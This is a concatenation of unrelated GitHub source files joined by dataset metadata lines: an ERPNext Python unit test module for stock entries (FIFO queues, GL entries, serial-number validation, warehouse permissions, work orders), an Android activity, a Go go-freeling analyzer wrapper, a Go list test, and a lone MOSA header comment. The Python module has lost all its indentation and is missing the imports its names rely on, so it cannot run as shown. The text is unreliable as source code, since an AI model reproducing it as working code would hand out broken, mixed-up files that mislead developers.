from erpnext.stock.doctype.stock_reconciliation.test_stock_reconciliation import create_stock_reconciliation
from erpnext.stock.doctype.item.test_item import set_item_variant_settings, make_item_variant, create_item
from erpnext.stock.doctype.stock_entry.stock_entry_utils import make_stock_entry
from erpnext.accounts.doctype.account.test_account import get_inventory_account
from erpnext.stock.doctype.stock_entry.stock_entry import move_sample_to_retention_warehouse, make_stock_in_entry
from erpnext.stock.doctype.stock_reconciliation.stock_reconciliation import OpeningEntryAccountError
from six import iteritems
def get_sle(**args):
condition, values = "", []
for key, value in iteritems(args):
condition += " and " if condition else " where "
condition += "`{0}`=%s".format(key)
values.append(value)
return frappe.db.sql("""select * from `tabStock Ledger Entry` %s
order by timestamp(posting_date, posting_time) desc, creation desc limit 1"""% condition,
values, as_dict=1)
class TestStockEntry(unittest.TestCase):
def tearDown(self):
frappe.set_user("Administrator")
set_perpetual_inventory(0)
def test_fifo(self):
frappe.db.set_value("Stock Settings", None, "allow_negative_stock", 1)
item_code = "_Test Item 2"
warehouse = "_Test Warehouse - _TC"
create_stock_reconciliation(item_code="_Test Item 2", warehouse="_Test Warehouse - _TC",
qty=0, rate=100)
make_stock_entry(item_code=item_code, target=warehouse, qty=1, basic_rate=10)
sle = get_sle(item_code = item_code, warehouse = warehouse)[0]
self.assertEqual([[1, 10]], frappe.safe_eval(sle.stock_queue))
# negative qty
make_stock_entry(item_code=item_code, source=warehouse, qty=2, basic_rate=10)
sle = get_sle(item_code = item_code, warehouse = warehouse)[0]
self.assertEqual([[-1, 10]], frappe.safe_eval(sle.stock_queue))
# further negative
make_stock_entry(item_code=item_code, source=warehouse, qty=1)
sle = get_sle(item_code = item_code, warehouse = warehouse)[0]
self.assertEqual([[-2, 10]], frappe.safe_eval(sle.stock_queue))
# move stock to positive
make_stock_entry(item_code=item_code, target=warehouse, qty=3, basic_rate=20)
sle = get_sle(item_code = item_code, warehouse = warehouse)[0]
self.assertEqual([[1, 20]], frappe.safe_eval(sle.stock_queue))
# incoming entry with diff rate
make_stock_entry(item_code=item_code, target=warehouse, qty=1, basic_rate=30)
sle = get_sle(item_code = item_code, warehouse = warehouse)[0]
self.assertEqual([[1, 20],[1, 30]], frappe.safe_eval(sle.stock_queue))
frappe.db.set_default("allow_negative_stock", 0)
def test_auto_material_request(self):
make_item_variant()
self._test_auto_material_request("_Test Item")
self._test_auto_material_request("_Test Item", material_request_type="Transfer")
def test_auto_material_request_for_variant(self):
fields = [{'field_name': 'reorder_levels'}]
set_item_variant_settings(fields)
make_item_variant()
template = frappe.get_doc("Item", "_Test Variant Item")
if not template.reorder_levels:
template.append('reorder_levels', {
"material_request_type": "Purchase",
"warehouse": "_Test Warehouse - _TC",
"warehouse_reorder_level": 20,
"warehouse_reorder_qty": 20
})
template.save()
self._test_auto_material_request("_Test Variant Item-S")
def test_auto_material_request_for_warehouse_group(self):
self._test_auto_material_request("_Test Item Warehouse Group Wise Reorder", warehouse="_Test Warehouse Group-C1 - _TC")
def _test_auto_material_request(self, item_code, material_request_type="Purchase", warehouse="_Test Warehouse - _TC"):
variant = frappe.get_doc("Item", item_code)
projected_qty, actual_qty = frappe.db.get_value("Bin", {"item_code": item_code,
"warehouse": warehouse}, ["projected_qty", "actual_qty"]) or [0, 0]
# stock entry reqd for auto-reorder
create_stock_reconciliation(item_code=item_code, warehouse=warehouse,
qty = actual_qty + abs(projected_qty) + 10, rate=100)
projected_qty = frappe.db.get_value("Bin", {"item_code": item_code,
"warehouse": warehouse}, "projected_qty") or 0
frappe.db.set_value("Stock Settings", None, "auto_indent", 1)
# update re-level qty so that it is more than projected_qty
if projected_qty >= variant.reorder_levels[0].warehouse_reorder_level:
variant.reorder_levels[0].warehouse_reorder_level += projected_qty
variant.reorder_levels[0].material_request_type = material_request_type
variant.save()
from erpnext.stock.reorder_item import reorder_item
mr_list = reorder_item()
frappe.db.set_value("Stock Settings", None, "auto_indent", 0)
items = []
for mr in mr_list:
for d in mr.items:
items.append(d.item_code)
self.assertTrue(item_code in items)
def test_material_receipt_gl_entry(self):
company = frappe.db.get_value('Warehouse', 'Stores - TCP1', 'company')
mr = make_stock_entry(item_code="_Test Item", target="Stores - TCP1", company= company,
qty=50, basic_rate=100, expense_account="Stock Adjustment - TCP1")
stock_in_hand_account = get_inventory_account(mr.company, mr.get("items")[0].t_warehouse)
self.check_stock_ledger_entries("Stock Entry", mr.name,
[["_Test Item", "Stores - TCP1", 50.0]])
self.check_gl_entries("Stock Entry", mr.name,
sorted([
[stock_in_hand_account, 5000.0, 0.0],
["Stock Adjustment - TCP1", 0.0, 5000.0]
])
)
mr.cancel()
self.assertTrue(frappe.db.sql("""select * from `tabStock Ledger Entry`
where voucher_type='Stock Entry' and voucher_no=%s""", mr.name))
self.assertTrue(frappe.db.sql("""select * from `tabGL Entry`
where voucher_type='Stock Entry' and voucher_no=%s""", mr.name))
def test_material_issue_gl_entry(self):
company = frappe.db.get_value('Warehouse', 'Stores - TCP1', 'company')
make_stock_entry(item_code="_Test Item", target="Stores - TCP1", company= company,
qty=50, basic_rate=100, expense_account="Stock Adjustment - TCP1")
mi = make_stock_entry(item_code="_Test Item", source="Stores - TCP1", company=company,
qty=40, expense_account="Stock Adjustment - TCP1")
self.check_stock_ledger_entries("Stock Entry", mi.name,
[["_Test Item", "Stores - TCP1", -40.0]])
stock_in_hand_account = get_inventory_account(mi.company, "Stores - TCP1")
stock_value_diff = abs(frappe.db.get_value("Stock Ledger Entry", {"voucher_type": "Stock Entry",
"voucher_no": mi.name}, "stock_value_difference"))
self.check_gl_entries("Stock Entry", mi.name,
sorted([
[stock_in_hand_account, 0.0, stock_value_diff],
["Stock Adjustment - TCP1", stock_value_diff, 0.0]
])
)
mi.cancel()
def test_material_transfer_gl_entry(self):
company = frappe.db.get_value('Warehouse', 'Stores - TCP1', 'company')
create_stock_reconciliation(qty=100, rate=100)
mtn = make_stock_entry(item_code="_Test Item", source="Stores - TCP1",
target="Finished Goods - TCP1", qty=45)
self.check_stock_ledger_entries("Stock Entry", mtn.name,
[["_Test Item", "Stores - TCP1", -45.0], ["_Test Item", "Finished Goods - TCP1", 45.0]])
stock_in_hand_account = get_inventory_account(mtn.company, mtn.get("items")[0].s_warehouse)
fixed_asset_account = get_inventory_account(mtn.company, mtn.get("items")[0].t_warehouse)
if stock_in_hand_account == fixed_asset_account:
# no gl entry as both source and target warehouse has linked to same account.
self.assertFalse(frappe.db.sql("""select * from `tabGL Entry`
where voucher_type='Stock Entry' and voucher_no=%s""", mtn.name))
else:
stock_value_diff = abs(frappe.db.get_value("Stock Ledger Entry", {"voucher_type": "Stock Entry",
"voucher_no": mtn.name, "warehouse": "Stores - TCP1"}, "stock_value_difference"))
self.check_gl_entries("Stock Entry", mtn.name,
sorted([
[stock_in_hand_account, 0.0, stock_value_diff],
[fixed_asset_account, stock_value_diff, 0.0],
])
)
mtn.cancel()
def test_repack_no_change_in_valuation(self):
company = frappe.db.get_value('Warehouse', '_Test Warehouse - _TC', 'company')
set_perpetual_inventory(0, company)
make_stock_entry(item_code="_Test Item", target="_Test Warehouse - _TC", qty=50, basic_rate=100)
make_stock_entry(item_code="_Test Item Home Desktop 100", target="_Test Warehouse - _TC",
qty=50, basic_rate=100)
repack = frappe.copy_doc(test_records[3])
repack.posting_date = nowdate()
repack.posting_time = nowtime()
repack.set_stock_entry_type()
repack.insert()
repack.submit()
self.check_stock_ledger_entries("Stock Entry", repack.name,
[["_Test Item", "_Test Warehouse - _TC", -50.0],
["_Test Item Home Desktop 100", "_Test Warehouse - _TC", 1]])
gl_entries = frappe.db.sql("""select account, debit, credit
from `tabGL Entry` where voucher_type='Stock Entry' and voucher_no=%s
order by account desc""", repack.name, as_dict=1)
self.assertFalse(gl_entries)
set_perpetual_inventory(0, repack.company)
def test_repack_with_additional_costs(self):
company = frappe.db.get_value('Warehouse', 'Stores - TCP1', 'company')
make_stock_entry(item_code="_Test Item", target="Stores - TCP1", company= company,
qty=50, basic_rate=100, expense_account="Stock Adjustment - TCP1")
repack = make_stock_entry(company = company, purpose="Repack", do_not_save=True)
repack.posting_date = nowdate()
repack.posting_time = nowtime()
expenses_included_in_valuation = frappe.get_value("Company", company, "expenses_included_in_valuation")
items = get_multiple_items()
repack.items = []
for item in items:
repack.append("items", item)
repack.set("additional_costs", [
{
"expense_account": expenses_included_in_valuation,
"description": "Actual Operating Cost",
"amount": 1000
},
{
"expense_account": expenses_included_in_valuation,
"description": "Additional Operating Cost",
"amount": 200
},
])
repack.set_stock_entry_type()
repack.insert()
repack.submit()
stock_in_hand_account = get_inventory_account(repack.company, repack.get("items")[1].t_warehouse)
rm_stock_value_diff = abs(frappe.db.get_value("Stock Ledger Entry", {"voucher_type": "Stock Entry",
"voucher_no": repack.name, "item_code": "_Test Item"}, "stock_value_difference"))
fg_stock_value_diff = abs(frappe.db.get_value("Stock Ledger Entry", {"voucher_type": "Stock Entry",
"voucher_no": repack.name, "item_code": "_Test Item Home Desktop 100"}, "stock_value_difference"))
stock_value_diff = flt(fg_stock_value_diff - rm_stock_value_diff, 2)
self.assertEqual(stock_value_diff, 1200)
self.check_gl_entries("Stock Entry", repack.name,
sorted([
[stock_in_hand_account, 1200, 0.0],
["Expenses Included In Valuation - TCP1", 0.0, 1200.0]
])
)
def check_stock_ledger_entries(self, voucher_type, voucher_no, expected_sle):
expected_sle.sort(key=lambda x: x[1])
# check stock ledger entries
sle = frappe.db.sql("""select item_code, warehouse, actual_qty
from `tabStock Ledger Entry` where voucher_type = %s
and voucher_no = %s order by item_code, warehouse, actual_qty""",
(voucher_type, voucher_no), as_list=1)
self.assertTrue(sle)
sle.sort(key=lambda x: x[1])
for i, sle in enumerate(sle):
self.assertEqual(expected_sle[i][0], sle[0])
self.assertEqual(expected_sle[i][1], sle[1])
self.assertEqual(expected_sle[i][2], sle[2])
def check_gl_entries(self, voucher_type, voucher_no, expected_gl_entries):
expected_gl_entries.sort(key=lambda x: x[0])
gl_entries = frappe.db.sql("""select account, debit, credit
from `tabGL Entry` where voucher_type=%s and voucher_no=%s
order by account asc, debit asc""", (voucher_type, voucher_no), as_list=1)
self.assertTrue(gl_entries)
gl_entries.sort(key=lambda x: x[0])
for i, gle in enumerate(gl_entries):
self.assertEqual(expected_gl_entries[i][0], gle[0])
self.assertEqual(expected_gl_entries[i][1], gle[1])
self.assertEqual(expected_gl_entries[i][2], gle[2])
def test_serial_no_not_reqd(self):
se = frappe.copy_doc(test_records[0])
se.get("items")[0].serial_no = "ABCD"
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoNotRequiredError, se.submit)
def test_serial_no_reqd(self):
se = frappe.copy_doc(test_records[0])
se.get("items")[0].item_code = "_Test Serialized Item"
se.get("items")[0].qty = 2
se.get("items")[0].transfer_qty = 2
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoRequiredError, se.submit)
def test_serial_no_qty_more(self):
se = frappe.copy_doc(test_records[0])
se.get("items")[0].item_code = "_Test Serialized Item"
se.get("items")[0].qty = 2
se.get("items")[0].serial_no = "ABCD\nEFGH\nXYZ"
se.get("items")[0].transfer_qty = 2
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoQtyError, se.submit)
def test_serial_no_qty_less(self):
se = frappe.copy_doc(test_records[0])
se.get("items")[0].item_code = "_Test Serialized Item"
se.get("items")[0].qty = 2
se.get("items")[0].serial_no = "ABCD"
se.get("items")[0].transfer_qty = 2
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoQtyError, se.submit)
def test_serial_no_transfer_in(self):
se = frappe.copy_doc(test_records[0])
se.get("items")[0].item_code = "_Test Serialized Item"
se.get("items")[0].qty = 2
se.get("items")[0].serial_no = "ABCD\nEFGH"
se.get("items")[0].transfer_qty = 2
se.set_stock_entry_type()
se.insert()
se.submit()
self.assertTrue(frappe.db.exists("Serial No", "ABCD"))
self.assertTrue(frappe.db.exists("Serial No", "EFGH"))
se.cancel()
self.assertFalse(frappe.db.get_value("Serial No", "ABCD", "warehouse"))
def test_serial_no_not_exists(self):
frappe.db.sql("delete from `tabSerial No` where name in ('ABCD', 'EFGH')")
make_serialized_item(target_warehouse="_Test Warehouse 1 - _TC")
se = frappe.copy_doc(test_records[0])
se.purpose = "Material Issue"
se.get("items")[0].item_code = "_Test Serialized Item With Series"
se.get("items")[0].qty = 2
se.get("items")[0].s_warehouse = "_Test Warehouse 1 - _TC"
se.get("items")[0].t_warehouse = None
se.get("items")[0].serial_no = "ABCD\nEFGH"
se.get("items")[0].transfer_qty = 2
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoNotExistsError, se.submit)
def test_serial_duplicate(self):
se, serial_nos = self.test_serial_by_series()
se = frappe.copy_doc(test_records[0])
se.get("items")[0].item_code = "_Test Serialized Item With Series"
se.get("items")[0].qty = 1
se.get("items")[0].serial_no = serial_nos[0]
se.get("items")[0].transfer_qty = 1
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoDuplicateError, se.submit)
def test_serial_by_series(self):
se = make_serialized_item()
serial_nos = get_serial_nos(se.get("items")[0].serial_no)
self.assertTrue(frappe.db.exists("Serial No", serial_nos[0]))
self.assertTrue(frappe.db.exists("Serial No", serial_nos[1]))
return se, serial_nos
def test_serial_item_error(self):
se, serial_nos = self.test_serial_by_series()
if not frappe.db.exists('Serial No', 'ABCD'):
make_serialized_item(item_code="_Test Serialized Item", serial_no="ABCD\nEFGH")
se = frappe.copy_doc(test_records[0])
se.purpose = "Material Transfer"
se.get("items")[0].item_code = "_Test Serialized Item"
se.get("items")[0].qty = 1
se.get("items")[0].transfer_qty = 1
se.get("items")[0].serial_no = serial_nos[0]
se.get("items")[0].s_warehouse = "_Test Warehouse - _TC"
se.get("items")[0].t_warehouse = "_Test Warehouse 1 - _TC"
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoItemError, se.submit)
def test_serial_move(self):
se = make_serialized_item()
serial_no = get_serial_nos(se.get("items")[0].serial_no)[0]
se = frappe.copy_doc(test_records[0])
se.purpose = "Material Transfer"
se.get("items")[0].item_code = "_Test Serialized Item With Series"
se.get("items")[0].qty = 1
se.get("items")[0].transfer_qty = 1
se.get("items")[0].serial_no = serial_no
se.get("items")[0].s_warehouse = "_Test Warehouse - _TC"
se.get("items")[0].t_warehouse = "_Test Warehouse 1 - _TC"
se.set_stock_entry_type()
se.insert()
se.submit()
self.assertTrue(frappe.db.get_value("Serial No", serial_no, "warehouse"), "_Test Warehouse 1 - _TC")
se.cancel()
self.assertTrue(frappe.db.get_value("Serial No", serial_no, "warehouse"), "_Test Warehouse - _TC")
def test_serial_warehouse_error(self):
make_serialized_item(target_warehouse="_Test Warehouse 1 - _TC")
t = make_serialized_item()
serial_nos = get_serial_nos(t.get("items")[0].serial_no)
se = frappe.copy_doc(test_records[0])
se.purpose = "Material Transfer"
se.get("items")[0].item_code = "_Test Serialized Item With Series"
se.get("items")[0].qty = 1
se.get("items")[0].transfer_qty = 1
se.get("items")[0].serial_no = serial_nos[0]
se.get("items")[0].s_warehouse = "_Test Warehouse 1 - _TC"
se.get("items")[0].t_warehouse = "_Test Warehouse - _TC"
se.set_stock_entry_type()
se.insert()
self.assertRaises(SerialNoWarehouseError, se.submit)
def test_serial_cancel(self):
se, serial_nos = self.test_serial_by_series()
se.cancel()
serial_no = get_serial_nos(se.get("items")[0].serial_no)[0]
self.assertFalse(frappe.db.get_value("Serial No", serial_no, "warehouse"))
def test_warehouse_company_validation(self):
company = frappe.db.get_value('Warehouse', '_Test Warehouse 2 - _TC1', 'company')
set_perpetual_inventory(0, company)
frappe.get_doc("User", "test2@example.com")\
.add_roles("Sales User", "Sales Manager", "Stock User", "Stock Manager")
frappe.set_user("test2@example.com")
from erpnext.stock.utils import InvalidWarehouseCompany
st1 = frappe.copy_doc(test_records[0])
st1.get("items")[0].t_warehouse="_Test Warehouse 2 - _TC1"
st1.set_stock_entry_type()
st1.insert()
self.assertRaises(InvalidWarehouseCompany, st1.submit)
# permission tests
def test_warehouse_user(self):
add_user_permission("Warehouse", "_Test Warehouse 1 - _TC", "test@example.com")
add_user_permission("Warehouse", "_Test Warehouse 2 - _TC1", "test2@example.com")
add_user_permission("Company", "_Test Company 1", "test2@example.com")
test_user = frappe.get_doc("User", "test@example.com")
test_user.add_roles("Sales User", "Sales Manager", "Stock User")
test_user.remove_roles("Stock Manager", "System Manager")
frappe.get_doc("User", "test2@example.com")\
.add_roles("Sales User", "Sales Manager", "Stock User", "Stock Manager")
st1 = frappe.copy_doc(test_records[0])
st1.company = "_Test Company 1"
set_perpetual_inventory(0, st1.company)
frappe.set_user("test@example.com")
st1.get("items")[0].t_warehouse="_Test Warehouse 2 - _TC1"
self.assertRaises(frappe.PermissionError, st1.insert)
test_user.add_roles("System Manager")
frappe.set_user("test2@example.com")
st1 = frappe.copy_doc(test_records[0])
st1.company = "_Test Company 1"
st1.get("items")[0].t_warehouse="_Test Warehouse 2 - _TC1"
st1.get("items")[0].expense_account = "Stock Adjustment - _TC1"
st1.get("items")[0].cost_center = "Main - _TC1"
st1.set_stock_entry_type()
st1.insert()
st1.submit()
frappe.set_user("Administrator")
remove_user_permission("Warehouse", "_Test Warehouse 1 - _TC", "test@example.com")
remove_user_permission("Warehouse", "_Test Warehouse 2 - _TC1", "test2@example.com")
remove_user_permission("Company", "_Test Company 1", "test2@example.com")
def test_freeze_stocks(self):
frappe.db.set_value('Stock Settings', None,'stock_auth_role', '')
# test freeze_stocks_upto
frappe.db.set_value("Stock Settings", None, "stock_frozen_upto", add_days(nowdate(), 5))
se = frappe.copy_doc(test_records[0]).insert()
self.assertRaises(StockFreezeError, se.submit)
frappe.db.set_value("Stock Settings", None, "stock_frozen_upto", '')
# test freeze_stocks_upto_days
frappe.db.set_value("Stock Settings", None, "stock_frozen_upto_days", -1)
se = frappe.copy_doc(test_records[0])
se.set_posting_time = 1
se.posting_date = nowdate()
se.set_stock_entry_type()
se.insert()
self.assertRaises(StockFreezeError, se.submit)
frappe.db.set_value("Stock Settings", None, "stock_frozen_upto_days", 0)
def test_work_order(self):
from erpnext.manufacturing.doctype.work_order.work_order \
import make_stock_entry as _make_stock_entry
bom_no, bom_operation_cost = frappe.db.get_value("BOM", {"item": "_Test FG Item 2",
"is_default": 1, "docstatus": 1}, ["name", "operating_cost"])
work_order = frappe.new_doc("Work Order")
work_order.update({
"company": "_Test Company",
"fg_warehouse": "_Test Warehouse 1 - _TC",
"production_item": "_Test FG Item 2",
"bom_no": bom_no,
"qty": 1.0,
"stock_uom": "_Test UOM",
"wip_warehouse": "_Test Warehouse - _TC",
"additional_operating_cost": 1000
})
work_order.insert()
work_order.submit()
make_stock_entry(item_code="_Test Item", target="_Test Warehouse - _TC", qty=50, basic_rate=100)
make_stock_entry(item_code="_Test Item 2", target="_Test Warehouse - _TC", qty=50, basic_rate=20)
stock_entry = _make_stock_entry(work_order.name, "Manufacture", 1)
rm_cost = 0
for d in stock_entry.get("items"):
if d.item_code != "_Test FG Item 2":
rm_cost += flt(d.amount)
fg_cost = list(filter(lambda x: x.item_code=="_Test FG Item 2", stock_entry.get("items")))[0].amount
self.assertEqual(fg_cost,
flt(rm_cost + bom_operation_cost + work_order.additional_operating_cost, 2))
def test_variant_work_order(self):
bom_no = frappe.db.get_value("BOM", {"item": "_Test Variant Item",
"is_default": 1, "docstatus": 1})
work_order = frappe.new_doc("Work Order")
work_order.update({
"company": "_Test Company",
"fg_warehouse": "_Test Warehouse 1 - _TC",
"production_item": "_Test Variant Item-S",
"bom_no": bom_no,
"qty": 1.0,
"stock_uom": "_Test UOM",
"wip_warehouse": "_Test Warehouse - _TC",
"skip_transfer": 1
})
work_order.insert()
work_order.submit()
from erpnext.manufacturing.doctype.work_order.work_order import make_stock_entry
stock_entry = frappe.get_doc(make_stock_entry(work_order.name, "Manufacture", 1))
stock_entry.insert()
self.assertTrue("_Test Variant Item-S" in [d.item_code for d in stock_entry.items])
def test_same_serial_nos_in_repack_or_manufacture_entries(self):
s1 = make_serialized_item(target_warehouse="_Test Warehouse - _TC")
serial_nos = s1.get("items")[0].serial_no
s2 = make_stock_entry(item_code="_Test Serialized Item With Series", source="_Test Warehouse - _TC",
qty=2, basic_rate=100, purpose="Repack", serial_no=serial_nos, do_not_save=True)
s2.append("items", {
"item_code": "_Test Serialized Item",
"t_warehouse": "_Test Warehouse - _TC",
"qty": 2,
"basic_rate": 120,
"expense_account": "Stock Adjustment - _TC",
"conversion_factor": 1.0,
"cost_center": "_Test Cost Center - _TC",
"serial_no": serial_nos
})
s2.submit()
s2.cancel()
def test_retain_sample(self):
from erpnext.stock.doctype.warehouse.test_warehouse import create_warehouse
from erpnext.stock.doctype.batch.batch import get_batch_qty
create_warehouse("Test Warehouse for Sample Retention")
frappe.db.set_value("Stock Settings", None, "sample_retention_warehouse", "Test Warehouse for Sample Retention - _TC")
test_item_code = "Retain Sample Item"
if not frappe.db.exists('Item', test_item_code):
item = frappe.new_doc("Item")
item.item_code = test_item_code
item.item_name = "Retain Sample Item"
item.description = "Retain Sample Item"
item.item_group = "All Item Groups"
item.is_stock_item = 1
item.has_batch_no = 1
item.create_new_batch = 1
item.retain_sample = 1
item.sample_quantity = 4
item.save()
receipt_entry = frappe.new_doc("Stock Entry")
receipt_entry.company = "_Test Company"
receipt_entry.purpose = "Material Receipt"
receipt_entry.append("items", {
"item_code": test_item_code,
"t_warehouse": "_Test Warehouse - _TC",
"qty": 40,
"basic_rate": 12,
"cost_center": "_Test Cost Center - _TC",
"sample_quantity": 4
})
receipt_entry.set_stock_entry_type()
receipt_entry.insert()
receipt_entry.submit()
retention_data = move_sample_to_retention_warehouse(receipt_entry.company, receipt_entry.get("items"))
retention_entry = frappe.new_doc("Stock Entry")
retention_entry.company = retention_data.company
retention_entry.purpose = retention_data.purpose
retention_entry.append("items", {
"item_code": test_item_code,
"t_warehouse": "Test Warehouse for Sample Retention - _TC",
"s_warehouse": "_Test Warehouse - _TC",
"qty": 4,
"basic_rate": 12,
"cost_center": "_Test Cost Center - _TC",
"batch_no": receipt_entry.get("items")[0].batch_no
})
retention_entry.set_stock_entry_type()
retention_entry.insert()
retention_entry.submit()
qty_in_usable_warehouse = get_batch_qty(receipt_entry.get("items")[0].batch_no, "_Test Warehouse - _TC", "_Test Item")
qty_in_retention_warehouse = get_batch_qty(receipt_entry.get("items")[0].batch_no, "Test Warehouse for Sample Retention - _TC", "_Test Item")
self.assertEqual(qty_in_usable_warehouse, 36)
self.assertEqual(qty_in_retention_warehouse, 4)
def test_quality_check(self):
item_code = "_Test Item For QC"
if not frappe.db.exists('Item', item_code):
create_item(item_code)
repack = frappe.copy_doc(test_records[3])
repack.inspection_required = 1
for d in repack.items:
if not d.s_warehouse and d.t_warehouse:
d.item_code = item_code
d.qty = 1
d.uom = "Nos"
d.stock_uom = "Nos"
d.basic_rate = 5000
repack.insert()
self.assertRaises(frappe.ValidationError, repack.submit)
def test_material_consumption(self):
from erpnext.manufacturing.doctype.work_order.work_order \
import make_stock_entry as _make_stock_entry
bom_no = frappe.db.get_value("BOM", {"item": "_Test FG Item 2",
"is_default": 1, "docstatus": 1})
work_order = frappe.new_doc("Work Order")
work_order.update({
"company": "_Test Company",
"fg_warehouse": "_Test Warehouse 1 - _TC",
"production_item": "_Test FG Item 2",
"bom_no": bom_no,
"qty": 4.0,
"stock_uom": "_Test UOM",
"wip_warehouse": "_Test Warehouse - _TC",
"additional_operating_cost": 1000
})
work_order.insert()
work_order.submit()
make_stock_entry(item_code="_Test Serialized Item With Series", target="_Test Warehouse - _TC", qty=50, basic_rate=100)
make_stock_entry(item_code="_Test Item 2", target="_Test Warehouse - _TC", qty=50, basic_rate=20)
item_quantity = {
'_Test Item': 10.0,
'_Test Item 2': 12.0,
'_Test Serialized Item With Series': 6.0
}
stock_entry = frappe.get_doc(_make_stock_entry(work_order.name, "Material Consumption for Manufacture", 2))
for d in stock_entry.get('items'):
self.assertEqual(item_quantity.get(d.item_code), d.qty)
def test_customer_provided_parts_se(self):
create_item('CUST-0987', is_customer_provided_item = 1, customer = '_Test Customer', is_purchase_item = 0)
se = make_stock_entry(item_code='CUST-0987', purpose = 'Material Receipt', qty=4, to_warehouse = "_Test Warehouse - _TC")
self.assertEqual(se.get("items")[0].allow_zero_valuation_rate, 1)
self.assertEqual(se.get("items")[0].amount, 0)
def test_gle_for_opening_stock_entry(self):
mr = make_stock_entry(item_code="_Test Item", target="Stores - TCP1", company="_Test Company with perpetual inventory",qty=50, basic_rate=100, expense_account="Stock Adjustment - TCP1", is_opening="Yes", do_not_save=True)
self.assertRaises(OpeningEntryAccountError, mr.save)
mr.items[0].expense_account = "Temporary Opening - TCP1"
mr.save()
mr.submit()
is_opening = frappe.db.get_value("GL Entry",
filters={"voucher_type": "Stock Entry", "voucher_no": mr.name}, fieldname="is_opening")
self.assertEqual(is_opening, "Yes")
def test_total_basic_amount_zero(self):
se = frappe.get_doc({"doctype":"Stock Entry",
"purpose":"Material Receipt",
"stock_entry_type":"Material Receipt",
"posting_date": nowdate(),
"company":"_Test Company with perpetual inventory",
"items":[
{
"item_code":"Basil Leaves",
"description":"Basil Leaves",
"qty": 1,
"basic_rate": 0,
"uom":"Nos",
"t_warehouse": "Stores - TCP1",
"allow_zero_valuation_rate": 1,
"cost_center": "Main - TCP1"
},
{
"item_code":"Basil Leaves",
"description":"Basil Leaves",
"qty": 2,
"basic_rate": 0,
"uom":"Nos",
"t_warehouse": "Stores - TCP1",
"allow_zero_valuation_rate": 1,
"cost_center": "Main - TCP1"
},
],
"additional_costs":[
{"expense_account":"Miscellaneous Expenses - TCP1",
"amount":100,
"description": "miscellanous"}
]
})
se.insert()
se.submit()
self.check_gl_entries("Stock Entry", se.name,
sorted([
["Stock Adjustment - TCP1", 100.0, 0.0],
["Miscellaneous Expenses - TCP1", 0.0, 100.0]
])
)
def make_serialized_item(**args):
args = frappe._dict(args)
se = frappe.copy_doc(test_records[0])
if args.company:
se.company = args.company
se.get("items")[0].item_code = args.item_code or "_Test Serialized Item With Series"
if args.serial_no:
se.get("items")[0].serial_no = args.serial_no
if args.cost_center:
se.get("items")[0].cost_center = args.cost_center
if args.expense_account:
se.get("items")[0].expense_account = args.expense_account
se.get("items")[0].qty = 2
se.get("items")[0].transfer_qty = 2
if args.target_warehouse:
se.get("items")[0].t_warehouse = args.target_warehouse
se.set_stock_entry_type()
se.insert()
se.submit()
return se
def get_qty_after_transaction(**args):
args = frappe._dict(args)
last_sle = get_previous_sle({
"item_code": args.item_code or "_Test Item",
"warehouse": args.warehouse or "_Test Warehouse - _TC",
"posting_date": args.posting_date or nowdate(),
"posting_time": args.posting_time or nowtime()
})
return flt(last_sle.get("qty_after_transaction"))
def get_multiple_items():
return [
{
"conversion_factor": 1.0,
"cost_center": "Main - TCP1",
"doctype": "Stock Entry Detail",
"expense_account": "Stock Adjustment - TCP1",
"basic_rate": 100,
"item_code": "_Test Item",
"qty": 50.0,
"s_warehouse": "Stores - TCP1",
"stock_uom": "_Test UOM",
"transfer_qty": 50.0,
"uom": "_Test UOM"
},
{
"conversion_factor": 1.0,
"cost_center": "Main - TCP1",
"doctype": "Stock Entry Detail",
"expense_account": "Stock Adjustment - TCP1",
"basic_rate": 5000,
"item_code": "_Test Item Home Desktop 100",
"qty": 1,
"stock_uom": "_Test UOM",
"t_warehouse": "Stores - TCP1",
"transfer_qty": 1,
"uom": "_Test UOM"
}
]
test_records = frappe.get_test_records('Stock Entry')
|
{
"pile_set_name": "Github"
}
|
package com.pro100svitlo.fingerprintauthdemo;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
public class SecondActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_second);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
}
public void goBack(View view) {
finish();
}
}
|
{
"pile_set_name": "Github"
}
|
package lib
import (
. "github.com/advancedlogic/go-freeling/engine"
"github.com/advancedlogic/go-freeling/models"
)
type Analyzer struct {
context *Context
}
func NewAnalyzer() *Analyzer {
context := NewContext("conf/gofreeling.toml")
context.InitNLP()
instance := new(Analyzer)
instance.context = context
return instance
}
func (this *Analyzer) Int64(key string, def int64) int64 {
return this.context.Int64(key, def)
}
func (this *Analyzer) AnalyzeText(document *models.DocumentEntity) *models.DocumentEntity {
ch := make(chan *models.DocumentEntity)
defer close(ch)
go this.context.Engine.NLP.Workflow(document, ch)
output := <-ch
return output
}
|
{
"pile_set_name": "Github"
}
|
package common
import (
"testing"
)
func TestList(t *testing.T) {
l := NewList()
Equal(t, 0, l.Len())
Equal(t, []interface{}{}, l.Slice())
// note that we don't use type assertion here because Equal uses DeepEqual
// to compare these 2 values.
Equal(t, 6, l.PushFront(6))
Equal(t, 1, l.Len())
Equal(t, []interface{}{6}, l.Slice())
Equal(t, 1, l.PushFront(1))
Equal(t, 2, l.Len())
Equal(t, []interface{}{1, 6}, l.Slice())
Equal(t, 16, l.PushBack(16))
Equal(t, 3, l.Len())
Equal(t, []interface{}{1, 6, 16}, l.Slice())
Equal(t, 66, l.PushBack(66))
Equal(t, 4, l.Len())
Equal(t, []interface{}{1, 6, 16, 66}, l.Slice())
Equal(t, 1, l.Front())
Equal(t, 66, l.Back())
Equal(t, 1, l.RemoveFront())
Equal(t, 3, l.Len())
Equal(t, []interface{}{6, 16, 66}, l.Slice())
Equal(t, 66, l.RemoveBack())
Equal(t, 2, l.Len())
Equal(t, []interface{}{6, 16}, l.Slice())
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) MOSA Project. Licensed under the New BSD License.
// This code was generated by an automated template.
